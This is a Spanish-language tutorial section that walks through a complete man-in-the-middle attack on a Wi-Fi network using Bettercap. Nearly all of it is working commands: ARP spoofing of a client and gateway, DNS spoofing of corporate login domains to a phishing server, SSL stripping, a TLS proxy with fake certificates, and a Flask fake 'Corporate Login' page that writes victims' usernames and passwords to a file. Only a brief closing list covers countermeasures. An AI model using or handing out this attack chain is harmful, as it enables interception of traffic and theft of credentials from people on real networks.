# 5. Arquitectura del ataque MITM completo

## 🧩 Arquitectura del ataque MITM completo

1. **Modo Managed**: tu Alfa AWUS1900 está asociada al AP objetivo.
2. **ARP Spoofing**: engañas a cliente y gateway para que todo el tráfico pase por tu máquina.
3. **IP Forwarding & NAT**: reenviás los paquetes al destino real para no romper la conexión.
4. **DNS Spoofing**: rediriges dominios específicos a tu servidor (phishing).
5. **Proxy HTTP/HTTPS**: interceptas y registras peticiones, inyectas scripts o realizas SSL stripping.
6. **Portal Cautivo**: para capturar credenciales en páginas de login transparentes.

```
[Cliente] <--ARP Spoof--> [Tu Kali/AWUS1900 MITM] <--ARP Spoof--> [Gateway]
                                  |
                +-----------------+-----------------+
                |                 |                 |
         DNS Spoofing         HTTP Proxy       HTTPS Proxy (SSLStrip)
                |                 |                 |
           [Phishing]       [Registros/Logs]   [Certificados falsos]
                |
        [Portal Cautivo/Web Fake]
```

---

### 1. Preparativos básicos

```
# Instalar Bettercap (si no está)
sudo apt update
sudo apt install bettercap

# Habilitar IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1

# NAT para mantener Internet
sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
sudo iptables -A FORWARD -i wlan0 -j ACCEPT
```

---

### 2. ARP Spoofing en fullduplex

Arranca **Bettercap**:

```
sudo bettercap -iface wlan0
```

En su consola:

```
# Objetivos: cliente y gateway
set arp.spoof.targets 192.168.1.50 192.168.1.1
set arp.spoof.fullduplex true
arp.spoof on
```

- `fullduplex`: envía ARP replies tanto al cliente como al gateway.

---

### 3. DNS Spoofing

```
# Dominios a redirigir
set dns.spoof.domains login.corp, intranet.oficina
# IP de tu servidor de phishing (puede estar en tu Kali)
set dns.spoof.address 10.0.0.1
dns.spoof on
```

- Cualquier petición DNS para esos nombres apunta a `10.0.0.1`.

---

### 4. HTTP Proxy e inyección

Bettercap incluye un proxy HTTP:

```
# Habilitar proxy HTTP
set http.proxy.sslstrip true        # intenta degradar HTTPS a HTTP
set http.proxy.verbose true          # mostrar en pantalla las peticiones
http.proxy on
```

- **SSLStrip**: reemplaza enlaces `https://` por `http://` en las respuestas, evitando la encriptación si la víctima no revisa la URL.

---

### 5. HTTPS Proxy con Certificados Falsos

Para atacar HTTPS necesitas un proxy TLS:

1. Genera un certificado autofirmado en Bettercap:

   ```
   cert generate example.com
   cert install example.com
   ```

2. Exporta el CA a la víctima y haz que lo instale (o apunte a través de phishing).
3. Activa el proxy TLS:

   ```
   set proxy.https true
   set proxy.https.port 8443
   proxy https on
   ```

---

### 6. Portal Cautivo / Web Fake

En tu servidor (`10.0.0.1`), monta un simple Nginx o Flask con un formulario de login:

**app.py (Flask)**

```
from flask import Flask, request, render_template_string
app = Flask(__name__)

TEMPLATE = '''
<form action="/" method="post">
  <h2>Corporate Login</h2>
  <input name="user" placeholder="Username"><br>
  <input name="pass" type="password" placeholder="Password"><br>
  <button type="submit">Login</button>
</form>
'''

@app.route('/', methods=['GET','POST'])
def login():
    if request.method == 'POST':
        with open('creds.txt','a') as f:
            f.write(f"{request.form['user']}:{request.form['pass']}\n")
        return "Error de autenticación", 401
    return render_template_string(TEMPLATE)

if __name__=='__main__':
    app.run(host='0.0.0.0', port=80)
```

1. Guarda esto en `/opt/portal/app.py`.
2. Instálalo:

   ```
   sudo apt install python3-flask
   python3 /opt/portal/app.py
   ```

3. Asegúrate de que Nginx o iptables redirija el puerto 80 de Bettercap a tu Flask.

---

### 7. Flujo final en Bettercap

Con todo configurado:

```
# En consola Bettercap
net.sniff on           # ver logs de HTTP/HTTPS
events.stream on       # timeline de eventos
```

- Las peticiones HTTP se listarán en tiempo real.
- Los intentos de login al portal cautivo quedarán guardados en `creds.txt`.

---

### 8. Detección y Contramedidas

- **HSTS** evita SSLStripping, revisa el candado en el navegador.
- **ARP Inspection** en switches gestiona ARP válidos.
- **DNSSEC/DNS sobre HTTPS** impide spoofing DNS.
- **Certificados válidos y pinning** detienen proxies TLS.

---